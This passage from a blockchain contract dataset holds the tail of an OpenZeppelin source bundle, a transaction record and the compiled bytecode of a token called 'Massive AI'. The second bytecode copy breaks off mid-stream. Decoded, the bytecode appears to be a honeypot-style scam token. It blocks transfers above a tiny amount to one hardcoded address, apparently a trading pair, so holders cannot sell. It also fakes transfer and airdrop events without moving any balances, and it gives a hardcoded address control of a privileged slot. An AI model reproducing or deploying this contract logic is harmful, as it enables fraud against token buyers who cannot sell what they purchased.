supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n" }, "@openzeppelin/contracts/utils/Address.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n" } }, "settings": { "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} } }}
1
19,501,474
bb7edc03c626ff6399916c6b0a0e654ac4f4320fa464e151741bf853f6906baa
9b16ec26abca7d1da1ea5675cd1715d7c4a97aa2e289dba35cde68555011e536
c7d72db60a9f2cb3852f64ad523dfda679f9aa43
c7d72db60a9f2cb3852f64ad523dfda679f9aa43
7a69fd9edb368e0cf309a0281e976c9c6ebbfb14
60806040526103e760075534801562000016575f80fd5b50620000376200002b6200010c60201b60201c565b6200011360201b60201c565b6040518060400160405280600a81526020017f4d61737369766520414900000000000000000000000000000000000000000000815250600490816200007d919062000683565b506040518060400160405280600a81526020017f4d4153534956452041490000000000000000000000000000000000000000000081525060059081620000c4919062000683565b506200010633620000da620001d460201b60201c565b600a620000e89190620008f0565b6402540be400620000fa919062000940565b620001dc60201b60201c565b62000adc565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6008905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200024d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200024490620009e8565b60405180910390fd5b8060035f82825462000260919062000a08565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000310919062000a53565b60405180910390a36200032b5f83836200033f60201b60201c565b6200033b6200034460201b60201c565b5050565b505050565b620003546200036760201b60201c565b620003655f6200011360201b60201c565b565b620003776200010c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200039d620003f860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620003f6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003ed9062000abc565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200049b57607f821691505b602082108103620004b157620004b062000456565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620005157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004d8565b620005218683620004d8565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200056b620005656200055f8462000539565b62000542565b62000539565b9050919050565b5f819050919050565b62000586836200054b565b6200059e620005958262000572565b848454620004e4565b825550505050565b5f90565b620005b4620005a6565b620005c18184846200057b565b505050565b5b81811015620005e857620005dc5f82620005aa565b600181019050620005c7565b5050565b601f82111562000637576200060181620004b7565b6200060c84620004c9565b810160208510156200061c578190505b620006346200062b85620004c9565b830182620005c6565b50505b505050565b5f82821c905092915050565b5f620006595f19846008026200063c565b1980831691505092915050565b5f62000673838362000648565b9150826002028217905092915050565b6200068e826200041f565b67ffffffffffffffff811115620006aa57620006a962000429565b5b620006b6825462000483565b620006c3828285620005ec565b5f60209050601f831160018114620006f9575f8415620006e4578287015190505b620006f0858262000666565b8655506200075f565b601f1984166200070986620004b7565b5f5b8281101562000732578489015182556001820191506020850194506020810190506200070b565b868310156200075257848901516200074e601f89168262000648565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620007f157808604811115620007c957620007c862000767565b5b6001851615620007d95780820291505b8081029050620007e98562000794565b9450620007a9565b94509492505050565b5f826200080b5760019050620008dd565b816200081a575f9050620008dd565b81600181146200083357600281146200083e5762000874565b6001915050620008dd565b60ff84111562000853576200085262000767565b5b8360020a9150848211156200086d576200086c62000767565b5b50620008dd565b5060208310610133831016604e8410600b8410161715620008ae5782820a905083811115620008a857620008a762000767565b5b620008dd565b620008bd8484846001620007a0565b92509050818404811115620008d757620008d662000767565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620008fc8262000539565b91506200090983620008e4565b9250620009387fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007fa565b905092915050565b5f6200094c8262000539565b9150620009598362000539565b9250828202620009698162000539565b9150828204841483151762000983576200098262000767565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f620009d0601f836200098a565b9150620009dd826200099a565b602082019050919050565b5f6020820190508181035f83015262000a0181620009c2565b9050919050565b5f62000a148262000539565b915062000a218362000539565b925082820190508082111562000a3c5762000a3b62000767565b5b92915050565b62000a4d8162000539565b82525050565b5f60208201905062000a685f83018462000a42565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f62000aa46020836200098a565b915062000ab18262000a6e565b602082019050919050565b5f6020820190508181035f83015262000ad58162000a96565b9050919050565b611b208062000aea5f395ff3fe608060405234801561000f575f80fd5b5060043610610109575f3560e01c806370a08231116100a0578063a9059cbb1161006f578063a9059cbb14610291578063beabacc8146102c1578063dd62ed3e146102dd578063e7b817491461030d578063f2fde38b1461033d57610109565b806370a082311461021b578063715018a61461024b5780638da5cb5b1461025557806395d89b411461027357610109565b806326ededb8116100dc57806326ededb8146101a9578063313ce567146101c5578063321bef23146101e357806368432dad146101ff57610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f80fd5b610115610359565b60405161012291906112bb565b60405180910390f35b61014560048036038101906101409190611370565b6103e9565b60405161015291906113c8565b60405180910390f35b61016361040b565b60405161017091906113f0565b60405180910390f35b610193600480360381019061018e9190611409565b610414565b6040516101a091906113c8565b60405180910390f35b6101c360048036038101906101be91906114ba565b610442565b005b6101cd61050f565b6040516101da9190611532565b60405180910390f35b6101fd60048036038101906101f891906114ba565b610517565b005b610219600480360381019061021491906114ba565b6105e4565b005b6102356004803603810190610230919061154b565b6106b1565b60405161024291906113f0565b60405180910390f35b6102536106f7565b005b61025d61070a565b60405161026a9190611585565b60405180910390f35b61027b610731565b60405161028891906112bb565b60405180910390f35b6102ab60048036038101906102a69190611370565b6107c1565b6040516102b891906113c8565b60405180910390f35b6102db60048036038101906102d69190611409565b6107e3565b005b6102f760048036038101906102f2919061159e565b61084d565b60405161030491906113f0565b60405180910390f35b6103276004803603810190610322919061154b565b6108cf565b60405161033491906113c8565b60405180910390f35b6103576004803603810190610352919061154b565b61096b565b005b60606004805461036890611609565b80601f016020809104026020016040519081016040528092919081815260200182805461039490611609565b80156103df5780601f106103b6576101008083540402835291602001916103df565b820191905f5260205f20905b8154815290600101906020018083116103c257829003601f168201915b5050505050905090565b5f806103f36109ed565b90506104008185856109f4565b600191505092915050565b5f600354905090565b5f8061041e6109ed565b905061042b858285610bb7565b610436858585610c42565b60019150509392505050565b5f5b838390508110156105095783838281811061046257610461611639565b5b9050602002016020810190610477919061154b565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104f491906113f0565b60405180910390a38080600101915050610444565b50505050565b5f6008905090565b5f5b838390508110156105de5783838281811061053757610536611639565b5b905060200201602081019061054c919061154b565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105c991906113f0565b60405180910390a38080600101915050610519565b50505050565b5f5b838390508110156106ab5783838281811061060457610603611639565b5b9050602002016020810190610619919061154b565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161069691906113f0565b60405180910390a380806001019150506105e6565b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106ff6110ed565b6107085f61116b565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461074090611609565b80601f016020809104026020016040519081016040528092919081815260200182805461076c90611609565b80156107b75780601f1061078e576101008083540402835291602001916107b7565b820191905f5260205f20905b81548152906001019060200180831161079a57829003601f168201915b5050505050905090565b5f806107cb6109ed565b90506107d8818585610c42565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161084091906113f0565b60405180910390a3505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f730a30cceda7f03b971175e520c0be7e6728860b6773ffffffffffffffffffffffffffffffffffffffff166109036109ed565b73ffffffffffffffffffffffffffffffffffffffff1614610922575f80fd5b8160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6109736110ed565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d8906116d6565b60405180910390fd5b6109ea8161116b565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5990611764565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac7906117f2565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610baa91906113f0565b60405180910390a3505050565b5f610bc2848461084d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610c3c5781811015610c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c259061185a565b60405180910390fd5b610c3b84848484036109f4565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca7906118e8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1590611976565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610dba5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610f4157508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610e5c5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610ea85750737aa2b03ddd79eb45d8d4c432c8ec11a35f7a7d0c73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610ef45750730a30cceda7f03b971175e520c0be7e6728860b6773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f40575073af376861670cc48dcd091fbd86b55451df41744e73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15610f65575f600282610f5491906119c1565b90506007548110610f63575f80fd5b505b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe090611a64565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110d491906113f0565b60405180910390a36110e784848461122c565b50505050565b6110f56109ed565b73ffffffffffffffffffffffffffffffffffffffff1661111361070a565b73ffffffffffffffffffffffffffffffffffffffff1614611169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116090611acc565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561126857808201518184015260208101905061124d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61128d82611231565b611297818561123b565b93506112a781856020860161124b565b6112b081611273565b840191505092915050565b5f6020820190508181035f8301526112d38184611283565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61130c826112e3565b9050919050565b61131c81611302565b8114611326575f80fd5b50565b5f8135905061133781611313565b92915050565b5f819050919050565b61134f8161133d565b8114611359575f80fd5b50565b5f8135905061136a81611346565b92915050565b5f8060408385031215611386576113856112db565b5b5f61139385828601611329565b92505060206113a48582860161135c565b9150509250929050565b5f8115159050919050565b6113c2816113ae565b82525050565b5f6020820190506113db5f8301846113b9565b92915050565b6113ea8161133d565b82525050565b5f6020820190506114035f8301846113e1565b92915050565b5f805f606084860312156114205761141f6112db565b5b5f61142d86828701611329565b935050602061143e86828701611329565b925050604061144f8682870161135c565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261147a57611479611459565b5b8235905067ffffffffffffffff8111156114975761149661145d565b5b6020830191508360208202830111156114b3576114b2611461565b5b9250929050565b5f805f604084860312156114d1576114d06112db565b5b5f84013567ffffffffffffffff8111156114ee576114ed6112df565b5b6114fa86828701611465565b9350935050602061150d8682870161135c565b9150509250925092565b5f60ff82169050919050565b61152c81611517565b82525050565b5f6020820190506115455f830184611523565b92915050565b5f602082840312156115605761155f6112db565b5b5f61156d84828501611329565b91505092915050565b61157f81611302565b82525050565b5f6020820190506115985f830184611576565b92915050565b5f80604083850312156115b4576115b36112db565b5b5f6115c185828601611329565b92505060206115d285828601611329565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061162057607f821691505b602082108103611633576116326115dc565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6116c060268361123b565b91506116cb82611666565b604082019050919050565b5f6020820190508181035f8301526116ed816116b4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61174e60248361123b565b9150611759826116f4565b604082019050919050565b5f6020820190508181035f83015261177b81611742565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6117dc60228361123b565b91506117e782611782565b604082019050919050565b5f6020820190508181035f830152611809816117d0565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611844601d8361123b565b915061184f82611810565b602082019050919050565b5f6020820190508181035f83015261187181611838565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6118d260238361123b565b91506118dd82611878565b604082019050919050565b5f6020820190508181035f8301526118ff816118c6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61196060258361123b565b915061196b82611906565b604082019050919050565b5f6020820190508181035f83015261198d81611954565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6119cb8261133d565b91506119d68361133d565b92508282019050808211156119ee576119ed611994565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611a4e60268361123b565b9150611a59826119f4565b604082019050919050565b5f6020820190508181035f830152611a7b81611a42565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611ab660208361123b565b9150611ac182611a82565b602082019050919050565b5f6020820190508181035f830152611ae381611aaa565b905091905056fea26469706673582212208a8d05dcc282b7495809ccd81065d919bb325db5db5859b33f3825d88c637a9564736f6c63430008180033
608060405234801561000f575f80fd5b5060043610610109575f3560e01c806370a08231116100a0578063a9059cbb1161006f578063a9059cbb14610291578063beabacc8146102c1578063dd62ed3e146102dd578063e7b817491461030d578063f2fde38b1461033d57610109565b806370a082311461021b578063715018a61461024b5780638da5cb5b1461025557806395d89b411461027357610109565b806326ededb8116100dc57806326ededb8146101a9578063313ce567146101c5578063321bef23146101e357806368432dad146101ff57610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f80fd5b610115610359565b60405161012291906112bb565b60405180910390f35b61014560048036038101906101409190611370565b6103e9565b60405161015291906113c8565b60405180910390f35b61016361040b565b60405161017091906113f0565b60405180910390f35b610193600480360381019061018e9190611409565b610414565b6040516101a091906113c8565b60405180910390f35b6101c360048036038101906101be91906114ba565b610442565b005b6101cd61050f565b6040516101da9190611532565b60405180910390f35b6101fd60048036038101906101f891906114ba565b610517565b005b610219600480360381019061021491906114ba565b6105e4565b005b6102356004803603810190610230919061154b565b6106b1565b60405161024291906113f0565b60405180910390f35b6102536106f7565b005b61025d61070a565b60405161026a9190611585565b60405180910390f35b61027b610731565b60405161028891906112bb565b60405180910390f35b6102ab60048036038101906102a69190611370565b6107c1565b6040516102b891906113c8565b60405180910390f35b6102db60048036038101906102d69190611409565b6107e3565b005b6102f760048036038101906102f2919061159e565b61084d565b60405161030491906113f0565b60405180910390f35b6103276004803603810190610322919061154b565b6108cf565b60405161033491906113c8565b60405180910390f35b6103576004803603810190610352919061154b565b61096b565b005b60606004805461036890611609565b80601f016020809104026020016040519081016040528092919081815260200182805461039490611609565b80156103df5780601f106103b6576101008083540402835291602001916103df565b820191905f5260205f20905b8154815290600101906020018083116103c257829003601f168201915b5050505050905090565b5f806103f36109ed565b90506104008185856109f4565b600191505092915050565b5f600354905090565b5f8061041e6109ed565b905061042b858285610bb7565b610436858585610c42565b60019150509392505050565b5f5b838390508110156105095783838281811061046257610461611639565b5b9050602002016020810190610477919061154b565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104f491906113f0565b60405180910390a38080600101915050610444565b50505050565b5f6008905090565b5f5b838390508110156105de5783838281811061053757610536611639565b5b905060200201602081019061054c919061154b565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105c991906113f0565b60405180910390a38080600101915050610519565b50505050565b5f5b838390508110156106ab5783838281811061060457610603611639565b5b9050602002016020810190610619919061154b565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161069691906113f0565b60405180910390a380806001019150506105e6565b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106ff6110ed565b6107085f61116b565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461074090611609565b80601f016020809104026020016040519081016040528092919081815260200182805461076c90611609565b80156107b75780601f1061078e576101008083540402835291602001916107b7565b820191905f5260205f20905b81548152906001019060200180831161079a57829003601f168201915b5050505050905090565b5f806107cb6109ed565b90506107d8818585610c42565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161084091906113f0565b60405180910390a3505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f730a30cceda7f03b971175e520c0be7e6728860b6773ffffffffffffffffffffffffffffffffffffffff166109036109ed565b73ffffffffffffffffffffffffffffffffffffffff1614610922575f80fd5b8160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6109736110ed565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d8906116d6565b60405180910390fd5b6109ea8161116b565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5990611764565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac7906117f2565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610baa91906113f0565b60405180910390a3505050565b5f610bc2848461084d565b90507ffffffffffffffffffffffffffffffffffffffffffffffffffffffff